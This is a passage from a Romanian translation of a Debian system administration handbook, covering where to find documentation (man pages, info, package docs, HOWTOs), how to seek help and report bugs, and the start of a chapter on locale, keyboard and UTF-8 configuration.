cineva care n-a făcut nimic, dar cere totul de la alții.
Să revenim la atitudinea binevoitoare a comunității Linux, în spiritul împărtășirii cunoștințelor, pe principiul
“de la lume adunate, și iarăși la lume date”: “read the fine manual — citește excelentul manual”.

CULTURĂ Acest acronim (RTFM) înseamnă “Citește Dracului Manualul”, dar poate fi exprimat și într-o manieră mai
RTFM amabilă, “Citiți Drăgălașul Manual”. Această sintagmă este uneori folosită în răspunsuri (spirituale) la întrebări
de la novici. Este destul de brusc și trădează o anumită supărare la o întrebare pusă de cineva care nici nu s-a
deranjat să citească documentația. Unii spun că acest răspuns clasic este mai bun decât niciun răspuns deloc
(deoarece sugerează că documentația conține informațiile căutate) sau decât un răspuns digresiv și mai supărat.
În orice caz, dacă cineva vă răspunde “RTFM”, de multe ori este înțelept să nu faceți jigniri. Având în vedere că
acest răspuns poate fi perceput ca supărător, poate doriți să încercați să evitați primirea acestuia. Dacă
informațiile de care aveți nevoie nu se regăsesc în manual, ceea ce se poate întâmpla, poate doriți să spuneți
acest lucru, de preferință în întrebarea inițială. De asemenea, ar trebui să descrieți diferiții pași pe care i-ați făcut
personal pentru a găsi informații înainte de a ridica o întrebare pe un forum. Urmând îndrumările lui Eric
Raymond este o modalitate bună de a evita greșelile cele mai frecvente și de a obține răspunsuri utile.
➨ http://catb.org/~esr/faqs/smart-questions.html

Paginile de manual, în timp ce sunt relativ concise în stil, conțin o mulțime de informații esențiale. Vom
examina rapid comanda pentru a le vizualiza. Pur și simplu tastați man manual-page — de obicei are
același nume cu comanda a cărei documentație este căutată. De exemplu, pentru a afla despre opțiunile
posibile pentru comanda cp, ar trebui să tastați comanda man cp la shell prompt (a se vedea bara laterală
“Shell-ul, un interpretor în linie de comandă” pagina 126).

NOȚIUNI DE BAZĂ Un interpretor în linie de comandă, se mai numește și “shell”, este un program care execută comenzi ce sunt fie
Shell-ul, un interpretor în linie introduse de utilizator, fie stocate într-un script. Afișează, interactiv, o solicitare (de regulă care se termină în $
de comandă pentru un utilizator normal sau prin # pentru un administrator) indicând că este gata să citească o nouă comandă.
anexa B. “Scurt curs de remediere” pagina 359 descrie elementele de bază ale utilizării shell-ului.
Elementul implicit și cel mai des utilizat este bash (Bourne Again SHell), dar și altele, inclusiv dash, csh,
tcsh și zsh.
Printre altele, cele mai multe shell-uri oferă ajutor în timpul introducerii la prompt, cum ar fi completarea
numelor de comenzi sau fișiere (pe care le puteți activa în general apăsând tasta Tab), sau reapelând comenzile
anterioare (managementul istoricului; adică verificați mapările în timp ce “Pg up” și “Pg down” în
/etc/inputrc).

Paginile de manual nu documentează doar programele accesibile de pe linia de comandă, ci și fișierele de

configurare, apelurile de sistem, funcțiile bibliotecii C, etc. Uneori, numele pot fi echivoce sau contradictorii.
De exemplu, comanda read a shell-ului are același nume ca funcția read a apelului de sistem. Acesta este
motivul pentru care paginile manuale sunt organizate în secțiuni numerotate:
1 comenzile care pot fi executate din linia de comandă;
2 apeluri de sistem (funcții furnizate de kernel);
3 funcțiile bibliotecilor (furnizate de bibliotecile de sistem);
4 dispozitive (pe sisteme similare Unix, acestea sunt fișiere speciale, de obicei plasate în directorul
/dev/);
5 fișiere de configurare (formate și convenții);

126
6 jocuri;
7 seturi de macro-uri și standarde;
8 comenzi de administrare a sistemului;
9 rutine de nucleu.
Este posibil să specificați secțiunea din pagina de manual pe care o căutați: pentru a vizualiza documentația
pentru read a apelului de sistem, ar trebui să tastați man 2 read. Când nu este specificată în mod explicit
nici o secțiune, va fi afișată prima secțiune care are o pagină de manual cu numele solicitat. Astfel, man
shadow returnează shadow(5) deoarece nu există pagini de manual pentru shadow în secțiunile 1 până la 4.

SFAT Dacă nu doriți să vedeți pagina de manual completă, ci doar o scurtă descriere pentru a confirma că este ceea ce
whatis căutați, pur și simplu introduceți whatis command.
$ whatis scp
scp (1) - secure copy (remote file copy program)
Această scurtă descriere este inclusă în secțiunea NAME de la începutul tuturor paginilor de manual.

Desigur, dacă nu știți numele comenzilor, manualul nu vă va fi de mare folos. Acesta este scopul lui
apropos, de a vă ajut să efectuați o căutare în paginile de manual sau mai exact în descrierile scurte ale
acestora. Fiecare pagină de manual începe în esență cu un rezumat de o linie. apropos returnează o listă
de pagini de manual al căror rezumat menționează cuvintele/cuvintele cheie solicitate. Dacă le alegeți bine,
veți găsi numele comenzii de care aveți nevoie.

Exemplul 7.1 Aflarea lui cp cu apropos

$ apropos "copy file"

cp (1) - copy files and directories
cpio (1) - copy files to and from archives
gvfs-copy (1) - Copy files
gvfs-move (1) - Copy files
hcopy (1) - copy files from or to an HFS volume
install (1) - copy files and set attributes
ntfscp (8) - copy file to an NTFS volume.

SFAT Multe pagini de manual au o secțiune “SEE ALSO”, de obicei la sfârșit. Se referă la alte pagini de manual
Răsfoirea prin urmărirea relevante pentru comenzi similare sau documentație externă. În acest fel, este posibil să găsiți documentație
linkurilor relevantă chiar și atunci când prima alegere nu este optimă.

Comanda man nu este singurul mijloc de a consulta paginile de manual, deoarece programele
khelpcenter și konqueror (în KDE) și yelp (în cadrul GNOME) oferă această posibilitate. Există de
asemenea o interfață web, furnizată de pachetul man2html care vă permite să vizualizați paginile de manual
într-un web browser. Pe un computer în care este instalat acest pachet, utilizați această adresă URL, după ce
ați urmat instrucțiunile din /usr/share/doc/man2html/README.Debian:
➨ http://localhost/cgi-bin/man/man2html
Acest utilitar necesită un web server. Acesta este motivul pentru care ar trebui să alegeți să instalați acest
pachet pe unul dintre server-ele dvs.: toți utilizatorii rețelei locale ar putea beneficia de acest serviciu (inclusiv
mașini non-Linux), iar acest lucru vă va permite să nu configurați un HTTP server pe fiecare stație de lucru.
Dacă server-ul dvs. este accesibil și din alte rețele, poate fi de dorit să restricționați accesul la acest serviciu
numai la utilizatorii rețelei locale.
Nu în ultimul rând, puteți vizualiza toate paginile manuale disponibile în Debian (chiar și cele care nu sunt
instalate pe mașina dvs.) pe serviciul manpages.debian.org. Oferă fiecare pagină manuală în mai multe
versiuni, câte una pentru fiecare versiune Debian.
➨ https://manpages.debian.org
POLITICA DEBIAN Debian cere ca fiecare program să aibă o pagină de manual. În cazul în care autorul din amonte nu furnizează
Pagini de manual necesare unul, întreținătorul pachetului Debian va scrie de obicei o pagină minimă care, cel puțin va direcționa cititorul
către locația documentației originale.

7.1.2. Documentele info

Proiectul GNU a scris manuale pentru majoritatea programelor sale în formatul info; de aceea multe pagini
de manual se referă la documentația info corespunzătoare. Acest format oferă câteva avantaje, dar

127
programul implicit pentru a vizualiza aceste documente (se numește info) este ceva mai complex. Ar fi bine
să folosiți pinfo în schimb (din pachetul pinfo).
Documentația info are o structură ierarhică iar dacă invocați pinfo fără parametri, va afișa o listă a nodurilor
disponibile la primul nivel. De obicei, nodurile poartă numele comenzilor corespunzătoare.
Cu pinfo navigarea între aceste noduri este ușor de realizat cu tastele săgeată. Alternativ, puteți utiliza și
un browser grafic, care este mult mai ușor de utilizat. Din nou, funcționează konqueror și yelp; info2www
oferă și o interfață web.
➨ http://localhost/cgi-bin/info2www
Rețineți că sistemul info nu este potrivit pentru traducere, spre deosebire de sistemul de pagini man.
Documentele info sunt astfel aproape întotdeauna în engleză. Cu toate acestea, atunci când solicitați
programului pinfo să afișeze o pagină inexistentă info, aceasta va reveni pe pagina man cu același nume
(dacă există), care ar putea fi tradusă.

7.1.3. Documentație specifică

Fiecare pachet include propria documentație. Chiar și cele mai puțin bine programate documente au, în
general, un fișier README, care conține informații interesante și/sau importante. Această documentare este
instalată în directorul /usr/share/doc/package/ (unde pachet reprezintă numele pachetului. Dacă
documentația este deosebit de mare, este posibil să nu fie inclusă în pachetul principal al programului, dar
poate fi descărcată la un pachet dedicat, care este de obicei numit package-doc. Pachetul principal
recomandă, în general, pachetul de documentare, astfel încât să îl puteți găsi cu ușurință.
Directorul /usr/share/doc/package/ conține, de asemenea, câteva fișiere furnizate de Debian care
completează documentația specificând particularitățile sau îmbunătățirile pachetului în comparație cu o
instalare tradițională a software-ul. Fișierul README.Debian indică, de asemenea, toate adaptările care au
fost făcute pentru a respecta Politica Debian. Fișierul changelog.Debian.gz permite utilizatorului să
urmărească modificările aduse pachetului în timp: este foarte util să încercați să înțelegeți ce s-a schimbat
între două versiuni instalate care nu au același comportament. În cele din urmă, există uneori un fișier
NEWS.Debian.gz care documentează modificările majore ale programului care pot afecta în mod direct
administratorul (vedeți secțiunea 6.7.2. “Tratarea problemelor după o actualizare” pagina 116).

7.1.4. Pagini de internet

În cele mai multe cazuri, programele free software au web site-uri care sunt utilizate pentru distribuirea
acestuia și pentru a reuni comunitatea dezvoltatorilor și utilizatorilor săi. Aceste situri sunt deseori încărcate
cu informații relevante în diferite forme: documentație oficială, FAQ (Întrebări Frecvente), arhive de liste de
corespondență, etc. Problemele pe care le puteți întâmpina au fost de multe ori deja subiectul multor
întrebări; arhivele cu întrebări frecvente (FAQ) sau cu liste de corespondență pot avea o soluție. O bună
cunoaștere a motoarelor de căutare se va dovedi extrem de valoroasă pentru a găsi rapid pagini relevante
(prin restricționarea căutării la domeniul sau subdomeniul de internet dedicat programului). Când căutarea
returnează prea multe pagini sau dacă rezultatele nu se potrivesc cu ceea ce căutați, puteți adăuga indiciul
debian pentru a limita rezultatele și pentru a viza informațiile relevante.

SFAT Dacă software-ul returnează un mesaj de eroare foarte specific, introduceți-l în motorul de căutare (între
De la eroare la soluție ghilimele duble, ", pentru a căuta nu cuvinte cheie individuale, ci pentru fraza completă). În cele mai multe
cazuri, primele legături returnate vor conține răspunsul de care aveți nevoie.
În alte cazuri, veți primi erori foarte generale cum ar fi “Permission denied”. În acest caz, este mai bine să
verificați permisiunile elementelor implicate (fișiere, ID de utilizator, grupuri etc.).

Dacă nu cunoașteți adresa software website-ului, există diverse mijloace de obținere a acesteia. În primul
rând, verificați dacă există un câmp Pagina de start în meta-informațiile pachetului (apt-cache show
package). În mod alternativ, descrierea pachetului poate conține un link către official site-ul programului.
Dacă nu este indicată nicio adresă URL, consultați pachetul /usr/share/doc/copyright. Întreținătorul
Debian indică, în general, în acest fișier de unde a primit codul sursă al programului, iar aceasta este
probabil pagina de internet pe care trebuie să o găsiți. Dacă în această etapă căutarea dvs. este încă fără
succes, consultați un director de software liber, cum ar fi FSF's Free Software Directory, sau căutați direct cu un
motor de căutare, cum ar fi Google, DuckDuckGo, Yahoo, etc.
➨ https://directory.fsf.org/wiki/Main_Page

128
De asemenea, poate doriți să consultați Debian wiki, o pagină de internet colaborativă în care oricine, chiar
și simplu vizitator, poate face sugestii direct din browse-rul său. Este utilizat în egală măsură de dezvoltatorii
care își proiectează și își specifică proiectele lor, precum și de utilizatorii care își împărtășesc cunoștințele
scriind documente în colaborare.
➨ http://wiki.debian.org/

7.1.5. Tutoriale (HOWTO)

Howto (înseamnă “instrucțiuni și sfaturi practice”) este un document care descrie, în termeni concreți și pas cu
pas, “cum se” atinge un obiectiv predefinit. Obiectivele acoperite sunt relativ variate, dar adesea de natură
tehnică: de exemplu, reglarea Mascarading IP, configurarea software RAID, instalarea unui Samba server, etc.
Aceste documente încearcă adesea să acopere toate problemele potențiale care pot apărea în timpul
implementării o tehnologie dată.
Multe astfel de tutoriale sunt gestionate de Proiectul de Documentare Linux (Linux Documentation Project -
LDP), al cărui web site găzduiește toate aceste documente:
➨ http://www.tldp.org/
Debian oferă, de asemenea, tutoriale pentru utilizatorii săi:
➨ https://www.debian.org/doc/
Toate aceste documente ar trebui fie tratate cu rezerve. Sunt, adesea, vechi de mai mulți ani; informațiile pe
care le conțin sunt uneori depășite. Acest fenomen este și mai frecvent pentru traducerile lor, deoarece
actualizările nu sunt nici sistematice, nici prompte după publicarea unei noi versiuni a documentelor
originale. În prezent, multe tutoriale sunt oferite de blogger-i, împărtășind soluția lor individuală cititorului
interesat. Adesea le lipsește informații importante, adică motivul pentru care o anumită configurație a fost
aleasă peste alta sau de ce o anumită opțiune a fost activată sau dezactivată. Deoarece blogging-ul și
crearea propriilor website-uri au făcut-o atât de ușor de partajat, multe dintre aceste tutoriale deseori scurte
există, dar numai câteva sunt active și bine întreținute. Acest lucru poate îngreuna găsirea celui “potrivit”
pentru dvs. Toate acestea fac parte din bucuriile de a lucra într-un mediu voluntar și fără constrângeri ...

7.2. Proceduri de bază

Scopul acestei secțiuni este de a prezenta câteva sfaturi generale cu privire la anumite operațiuni pe care un
administrator va trebui să le efectueze frecvent. Desigur, aceste proceduri nu vor acoperi toate cazurile într-
un mod exhaustiv, dar pot servi ca puncte de plecare pentru cazurile mai dificile.

DESCOPERIRE Deseori, documentația tradusă într-o limbă, în afară de engleză, este disponibilă într-un pachet separat cu numele
Documentație în alte limbi pachetului corespunzător, urmată de -lang (unde lang este two-letter ISO code pentru limbă).
De exemplu, pachetul debian-reference-fr conține versiunea franceză a ghidurilor de referință pentru Debian
(scrise inițial în engleză de Osamu Aoki), și pachetul manpages-de conține versiunea germană a paginilor de
manual privind folosirea GNU/Linux.

7.2.1. Configurarea unui program

Când doriți să configurați un pachet necunoscut, trebuie să continuați în etape. În primul rând, ar trebui să
citiți documentele pe care le-a furnizat întreținătorul pachetului. Aflați despre dispozițiile specifice făcute
pentru a simplifica utilizarea software-ului, citind pachetul /usr/share/doc/package/README.Debian.
Uneori este esențial pentru a înțelege diferențele față de comportamentul inițial al programului, așa cum este
descris în documentația generală, cum ar fi acele howto. Uneori acest fișier detaliază și cele mai frecvente
erori pentru a evita pierderea de timp cu probleme comune.
Apoi, ar trebui să vă uitați la documentația oficială a software-ului — consultați secțiunea 7.1. “Sursele
documentației” pagina 126 pentru a identifica diferitele surse de documentare existente. Comanda dpkg -L
package oferă o listă de fișiere incluse în pachet; prin urmare, puteți identifica rapid documentația
disponibilă (precum și fișierele de configurare, aflate în /etc/). Comanda dpkg -s package afișează
meta-datele pachetului și arată eventualele pachete recomandate sau sugerate; acolo, puteți găsi documentație
sau un utilitar care va ușura configurarea software-ului.
În cele din urmă, fișierele de configurare sunt adesea auto-documentate de multe comentarii explicative care
detaliază diferitele valori posibile pentru fiecare setare de configurare. Atât de mult, încât uneori este

129
suficient să alegi doar o linie care să o activeze dintre cele disponibile. În unele cazuri, exemple de fișiere de
configurare sunt furnizate în directorul /usr/share/doc/package/exemple/. Acestea pot servi drept
bază pentru propriul fișier de configurare.

POLITICA DEBIAN Toate exemplele trebuie instalate în directorul /usr/share/doc/package/exemple/. Acesta poate fi un
Locația exemplelor fișier de configurare, codul sursă al programului (un exemplu de utilizare a unei biblioteci) sau un script de
conversie a datelor pe care administratorul îl poate utiliza în anumite cazuri (cum ar fi inițializarea unei baze de
date). Dacă exemplul este specific unei anumite arhitecturi, ar trebui să fie instalat în
/usr/lib/package/exemple/ și ar trebui să existe o legătură care indică acel fișier în
/usr/share/doc/package/exemple/.

7.2.2. Monitorizarea activității daemonilor

Înțelegerea a ceea ce face un demon este ceva mai complicat, deoarece nu interacționează direct cu
administratorul. Pentru a verifica dacă un daemon funcționează efectiv, trebuie să îl testezi. De exemplu,
pentru a verifica Apache daemon (webserver), testați-l cu o solicitare HTTP.

NOȚIUNI DE BAZĂ Un daemon este un program care nu este invocat în mod explicit de către utilizator și care rămâne în fundal, în
Daemon așteptarea îndeplinirii unei anumite condiții înainte de a efectua o sarcină. Multe programe de server sunt
daemoni, un termen care explică faptul că litera “d” este frecvent prezentă la sfârșitul numelui lor (sshd,
smtpd, httpd, etc.).

Pentru a permite astfel de teste, fiecare daemon înregistrează în general tot ceea ce face, precum și orice
erori pe care le întâlnește, în ceea ce se numește “log files” sau “system logs”. Jurnalele sunt stocate în
/var/log/ sau într-unul din subdirectoarele sale. Pentru a cunoaște numele precis al fișierului jurnal pentru
fiecare daemon, consultați documentația acestuia. Notă: un singur test nu este întotdeauna suficient dacă nu
acoperă toate cazurile de utilizare posibile; unele probleme apar numai în circumstanțe particulare.

INSTRUMENT rsyslogd este special: colectează jurnalele (mesajele interne ale sistemului) care îi sunt trimise de alte
Daemonul rsyslogd programe. Fiecare intrare de jurnal este asociată cu un subsistem (e-mail, kernel, autentificare etc.) și o
prioritate; rsyslogd procesează aceste două informații pentru a decide ce să facă. Mesajul jurnalului poate fi
înregistrat în diferite fișiere jurnal și/sau trimis către o consolă de administrare. Detaliile sunt definite în fișierul
de configurare /etc/rsyslog.conf (documentat în pagina de manual cu același nume).
Anumite funcții C, care sunt specializate în trimiterea jurnalelor, simplifică utilizarea daemonului rsyslogd.
Cu toate acestea, unii daemoni își gestionează propriile fișiere jurnal (de exemplu, cazul samba, care
implementează acțiuni Windows pe Linux).
Rețineți că atunci când este folosit systemd, jurnalele sunt colectate efectiv de systemd înainte de a fi
transmise la rsyslogd. Astfel, acestea sunt disponibile și prin jurnalul systemd și pot fi consultate cu
journalctl (a se vedea secțiunea 9.1.1. “Sistemul systemd init” pagina 163 pentru detalii).

Ca o operație preventivă, administratorul ar trebui să citească în mod regulat cele mai relevante jurnalele de
server. Astfel, ei pot diagnostica probleme înainte de a fi chiar raportați de utilizatorii nemulțumiți. Într-adevăr,
utilizatorii pot aștepta uneori să apară în mod repetat o problemă pe parcursul a câteva zile înainte de a-l
raporta. În multe cazuri, există instrumente specifice pentru a analiza conținutul fișierelor jurnal mai mari. În
special, astfel de utilități există pentru web server-e (cum ar fi analog, awstats, webalizer pentru Apache),
pentru FTP server, pentru proxy/cache server, pentru firewall-uri, pentru e-mail server, pentru DNS server și chiar
pentru print server. Unele dintre aceste utilități funcționează într-o manieră modulară și permit analiza mai
multor tipuri de fișiere jurnal. Alte instrumente, cum ar fi logcheck (un software discutat în capitolul
14. “Securitate” pagina 305), scanează aceste fișiere în căutarea alertelor care vor fi tratate.

7.2.3. Solicitarea ajutorului pe lista de corespondență

Dacă diversele căutări nu v-au ajutat să ajungeți la rădăcina unei probleme, este posibil să obțineți ajutor de
la alte persoane, poate mai experimentate. Acesta este exact scopul scopului listei de corespondență debian-
user@lists.debian.org., și limbi specifice înrudite debian-user-lang@lists.debian.org. Ca în orice comunitate,
aceasta are reguli care trebuie respectate. Înainte de a pune orice întrebare, ar trebui să verificați dacă
problema dvs. nu este deja acoperită de discuțiile recente din listă sau de orice documentație oficială.
➨ https://wiki.debian.org/DebianMailingLists
➨ https://lists.debian.org/debian-user/
➨ https://lists.debian.org/users.html

130
 NOȚIUNI DE BAZĂ În general, pentru toată corespondența pe listele de corespondențe, trebuie respectate regulile Netiquette. Acest
Practicile Netiquette termen se referă la un set de reguli de bun-simț, de la amabilitate la greșeli care ar trebui evitate.
➨ http://tools.ietf.org/html/rfc1855
În plus, pentru orice canal de comunicare gestionat de proiectul Debian, sunteți obligat de Debian Code of
Conduct:
➨ https://www.debian.org/code_of_conduct

Odată îndeplinite aceste două condiții, vă puteți gândi să descrieți problema dvs. pe lista de corespondență.
Includeți cât mai multe informații relevante: diverse teste efectuate, documentația consultată, modul în care
ați încercat să diagnosticați problema, pachetele în cauză sau cele care ar putea fi implicate, etc. Verificați
Sistemul de urmărire al erorilor Debian (Debian Bug Tracking System - BTS), descris în secțiunea
1.4.2.1. “Raportarea erorilor” pagina 29) pentru probleme similare și menționați rezultatele acelei căutări, oferind
link-uri către bug-urile găsite. BTS începe pe:
➨ http://www.debian.org/Bugs/index.html
Cu cât ați fost mai curtenitor și precis, cu atât sunt mai mari șansele de a obține un răspuns sau, cel puțin,
unele elemente de răspuns. Dacă primiți informații relevante prin e-mail privat, gândiți-vă să rezumați aceste
informații în mod public pentru ca alții să poată beneficia. Acest lucru permite, de asemenea, arhivelor listei,
căutate prin diferite motoare de căutare, să afișeze rezoluția pentru alții, care ar putea avea aceeași
întrebare.

7.2.4. Raportarea unei erori când o problemă este prea dificilă

Dacă toate eforturile dvs. de a rezolva o problemă eșuează, este posibil ca o rezoluție să nu fie în
responsabilitatea dvs. și că problema se datorează unei erori din program. În acest caz, procedura
corespunzătoare este de a raporta eroarea către Debian sau direct către dezvoltatorii din amonte. Pentru a
face acest lucru, izolați cât mai mult problema și creați o situație de test minimă în care să poată fi
reprodusă. Dacă știți ce program este cauza aparentă a problemei, puteți găsi pachetul corespunzător
folosind comanda, dpkg -S file_in_question. Verificați Sistemul de urmărire al erorilor (BTS)
(https://bugs.debian.org/package) pentru a vă asigura că eroarea nu a fost deja raportată. Puteți
apoi să vă trimiteți propriul raport al erorilor, folosind comanda reportbug, incluzând cât mai multe
informații posibile, în special o descriere completă a acelor cazuri de test minime care să permită oricui să
recreeze eroarea.
Elementele acestui capitol sunt un mijloc de soluționare eficientă a problemelor pe care le pot aduce
capitolele următoare. Folosiți-le de câte ori este necesar!

131
132
 Repere

Configurație
Localizare
Setările regionale
Rețea
Rezoluția de nume
Utilizatori
Grupuri
Conturi
Interpretor în linie de comandă
Shell
Imprimare
Bootloader
Compilarea nucleului

133
Capitolul 8

8. Configurarea de bază: rețea, conturi, tipărire...

Conţinut
Configurarea sistemului pentru o altă limbă 135 Configurarea rețelei 137
Setarea hostname și configurarea name service 141 Baze de date de utilizatori și grupuri 143
Crearea conturilor 145 Mediul shell 146 Configurarea imprimantei 147
Configurarea încărcătorului de inițializare 147 Alte configurări: sincronizarea timpului, jurnalele, accesul la partajare... 150
Compilarea unui nucleu 154 Instalarea unui nucleu 158

Un computer cu o nouă instalare creată cu debian-installer se dorește a fi cât se poate de funcțional,

dar multe servicii încă trebuie configurate. Mai mult, este întotdeauna bine să știi cum să schimbi anumite
elemente de configurare definite în timpul procesului de instalare inițial.

134
Acest capitol trece în revistă tot ceea ce este inclus în ceea ce am putea numi “configurația de bază”: rețea,
limbă și setările regionale, utilizatori și grupuri, imprimare, puncte de montare etc.

8.1. Configurarea sistemului pentru o altă limbă

Dacă sistemul a fost instalat folosind limba română, mașina probabil va avea deja limba română setată ca
limbă implicită. Dar este bine să știți ce face instalatorul pentru a seta limba, pentru ca mai târziu, dacă apare
nevoia, să o puteți schimba.

INSTRUMENT Comanda locale listează un rezumat al configurației curente a diferiților parametri regionali (formatul datei,
Comanda locale pentru a formatul numerelor etc.), prezentată sub forma unui grup de variabile de mediu standard dedicate modificării
afișa configurația curentă dinamice a acestora setări.

8.1.1. Setarea limbii implicite

Un grup de setări regionale este “locale”. Aceasta include nu numai limba pentru text, ci și formatul pentru a
afișa numere, datele, orele și sumele bănești, precum și regulile de comparație alfabetică (pentru a ține cont
în mod corespunzător de caractere accentuate). Deși fiecare dintre acești parametri poate fi specificat
independent de ceilalți, în general folosim “locale”, care este un set coerent de valori pentru acești parametri
care corespund unei “regiuni” în sensul cel mai larg. Aceste “locales” sunt de obicei indicate sub forma
language-code_COUNTRY-CODE, uneori cu un sufix pentru a specifica setul de caractere și codificarea de
folosit. Aceasta permite luarea în considerare a diferențelor idiomatice sau tipografice între diferite regiuni cu
o limbă comună.

CULTURĂ Istoricește, fiecare “setare regională” are un “set de caractere“ asociat (un grup de caractere
Seturi de caractere cunoscute) și o “codare“ preferată (reprezentare internă a caracterelor din computer).
Cele mai populare codificări pentru limbile latine au fost limitate la 256 de caractere, deoarece au
optat să utilizeze un singur octet pentru fiecare caracter. Deoarece 256 de caractere nu au fost
suficiente pentru a acoperi toate limbile europene, au fost necesare mai multe codări și astfel am
ajuns cu ISO-8859-1 (cunoscut și sub numele de “Latin 1”) până la ISO-8859-15 (cunoscută și sub
denumirea de “Latin 9”), printre altele.
Cât privește limbile străine, acestea au implicat adesea comutări frecvente între diverse codări și
seturi de caractere. Mai mult, redactarea documentelor multilingve a dus la probleme suplimentare,
aproape nerezolvabile. Unicode (un super-catalog al aproape tuturor sistemelor de scriere din toate
limbile lumii) a fost creat pentru a rezolva această problemă. Unul dintre codificările Unicode, UTF-8,
păstrează toate cele 128 de simboluri ASCII (coduri pe 7 biți), dar gestionează diferit alte caractere.
Acestea sunt precedate de o secvență de evadare specifică de câțiva biți, care definește implicit
lungimea caracterului. Aceasta permite codificarea tuturor caracterelor Unicode pe o secvență de unul
sau mai mulți octeți. Utilizarea sa a fost popularizată prin faptul că este codificarea implicită în
documentele XML.
Aceasta este codificarea care ar trebui să fie în general folosită și prin urmare, este implicită pe
sistemele Debian.

Pachetul “locales” include toate elementele necesare pentru funcționarea corectă a “regionalizării” diferitelor
aplicații. În timpul instalării, acest pachet vă va solicita să selectați un set de limbi acceptate. Acest set poate
fi schimbat în orice moment, rulând dpkg-reconfigure locales ca root.
Prima întrebare vă invită să selectați ”setări regionale” pe care să le suporte. Selectarea tuturor setările
regionale engleze (adică cele care încep cu “en_”) este o alegere rezonabilă. Nu ezitați să activați și alte
setări regionale dacă mașina va găzdui utilizatori străini. Lista setărilor regionale activate pe sistem este
stocată în fișierul /etc/locale.gen. Este posibil să editați acest fișier manual, dar ar trebui să rulați
locale-gen după orice modificări. Va genera fișierele necesare pentru ca funcțiile adăugate să funcționeze
și să elimine orice fișiere învechite.
A doua întrebare, intitulată “Setare regională implicită pentru mediul de sistem”, solicită o setare regională
implicită. Alegerea recomandată în SUA este “en_US.UTF-8”. Vorbitorii de engleză britanică vor prefera
“en_GB.UTF-8”, iar canadienii vor prefera „en_CA.UTF-8” sau, pentru franceză, “fr_CA. UTF-8“. Fișierul
/etc/default/ locale va fi modificat pentru a stoca această alegere. De acolo, acesta este preluat de
toate sesiunile de utilizator, deoarece PAM își va injecta conținutul în variabila de mediu LANG.
Pachetul locale-all conține datele locale precompilate pentru toate regionalizările acceptate.

135
 ÎN CULISE Fișierul /etc/environment asigură programele login, gdm sau chiar ssh cu variabilele de mediu corecte
/etc/environment și pentru fi create.
/etc/default/locale Aceste aplicații nu creează aceste variabile direct, ci mai degrabă printr-un modul PAM (pam_env.so). Modul
Conectabil de Autentificare (PAM — Pluggable Authentication Module) este o bibliotecă modulară care
centralizează mecanismele de autentificare, inițializarea sesiunii și gestionarea parolelor. Vedeți secțiunea
11.7.3.2. “Configurarea PAM” pagina 243 pentru un exemplu de configurare PAM.
Fișierul /etc/default/locale funcționează într-un mod similar, dar conține doar variabila de mediu
LANG. Datorită acestei împărțiri, unii utilizatori PAM pot moșteni un mediu complet fără regionalizare. Într-
adevăr, este în general descurajată rularea de programe server cu regionalizarea activată; pe de altă parte,
regionalizarea și setările regionale sunt recomandate pentru programele care deschid sesiunile de utilizator.

8.1.2. Configurarea tastaturii

Chiar dacă aspectul tastaturii este gestionat diferit în modul consolă și grafic, Debian, și desigur și
AcademiX, oferă o interfață de configurare unică, care funcționează pentru ambele: se bazează pe debconf
și este implementată în pachetul keyboard-configuration. Astfel, comanda dpkg-reconfigure keyboard-
configuration poate fi folosită în orice moment pentru a reseta aspectul tastaturii.
Întrebările sunt relevante pentru aspectul tastaturii fizice (o tastatură PC standard în SUA va fi o “cheie
generică 104”), apoi alegerea aspectului (în general “SUA”), apoi poziția tastei AltGr (dreapta Alt ). În cele
din urmă vine întrebarea cheii de utilizat pentru “Compose key”, care permite introducerea caracterelor
speciale prin combinațiile de taste. Tastați succesiv Compose ' e și produceți un e-acut “é”)). Toate aceste
combinații sunt descrise în fișierul /usr/share/X11/locale/en_US.UTF-8/Compose (sau un alt fișier,
determinat în funcție de localizarea curentă indicată de /usr/share/X11/locale/compose.dir).
Rețineți că, pentru modul grafic descris aici, configurația tastaturii afectează doar aspectul implicit; Mediile
GNOME și KDE, printre altele, oferă în preferințe un panou de control al tastaturii care permite fiecărui
utilizator să aibă propria configurație. Unele opțiuni suplimentare cu privire la comportamentul unor anumite
taste sunt, de asemenea, disponibile în aceste panouri de control.

8.1.3. Migrarea către UTF-8

Generalizarea codificării UTF-8 a fost o soluție de mult așteptată la numeroase dificultăți cu
interoperabilitatea, deoarece facilitează schimbul internațional și elimină limitele arbitrare ale caracterelor
care pot fi utilizate într-un document. Singurul dezavantaj este că a trebuit să treacă printr-o fază de tranziție
destul de dificilă. Deoarece nu a putut fi complet transparentă (adică nu s-a putut întâmpla în același timp în
întreaga lume), au fost necesare două operațiuni de conversie: una pe conținutul fișierului, iar cealaltă cu
numele fișierelor. Din fericire, cea mai mare parte a acestei migrări a fost finalizată și o discutăm pe larg
pentru referință.

CULTURĂ Atunci când un text este trimis (sau stocat) fără a codifica informații, nu este întotdeauna posibil ca destinatarul
Mojibake și interpretarea să știe cu certitudine ce convenție să folosească pentru a determina semnificația unui set de octeți. De obicei, vă
erorilor puteți face o idee obținând statistici cu privire la distribuția valorilor prezente în text, dar asta nu oferă
întotdeauna un răspuns definit. Când sistemul de codare ales pentru lectură diferă de cel folosit la scrierea
fișierului, octeții sunt interpretați greșit și primiți, în cel mai bun caz, erori la unele caractere sau, în cel mai rău
caz, ceva complet ilizibil.
Astfel, dacă un text francez pare normal, cu excepția literelor accentuate și a anumitor simboluri care par a fi
înlocuite cu secvențe de caractere precum “é” or “Ô or “ç”, este probabil un fișier codat ca UTF- 8, dar
interpretate ca ISO-8859-1 sau ISO-8859-15. Acesta este un semn al unei instalării regionale care nu a fost încă
migrată la UTF-8. Dacă în schimb, vedeți semne de întrebare în loc de litere accentuate — chiar dacă aceste
semne de întrebare par să înlocuiască și un caracter care ar fi trebuit să urmeze litera accentuată — este probabil
ca instalarea dvs. să fie deja configurată pentru UTF-8 și să fi fost a trimis un document codat în Western ISO.
Atât de mult pentru cazuri “simple”. Aceste cazuri apar doar în cultura occidentală, deoarece Unicode (și UTF-
8) a fost conceput pentru a maximiza punctele comune cu codificări istorice pentru limbile occidentale bazate pe
alfabetul latin, ceea ce permite recunoașterea părților din text, chiar și când lipsesc unele caractere.
În configurații mai complexe care, de exemplu, implică două medii corespunzătoare a două limbi diferite care
nu folosesc același alfabet, obțineți deseori rezultate complet ilizibile — o serie de simboluri abstracte care nu au
nicio legătură între ele. Acest lucru este în special în cazul limbilor asiatice datorită numeroaselor limbi și
sisteme de scriere. Cuvântul japonez mojibake a fost adoptat pentru a descrie acest fenomen. Când apare,
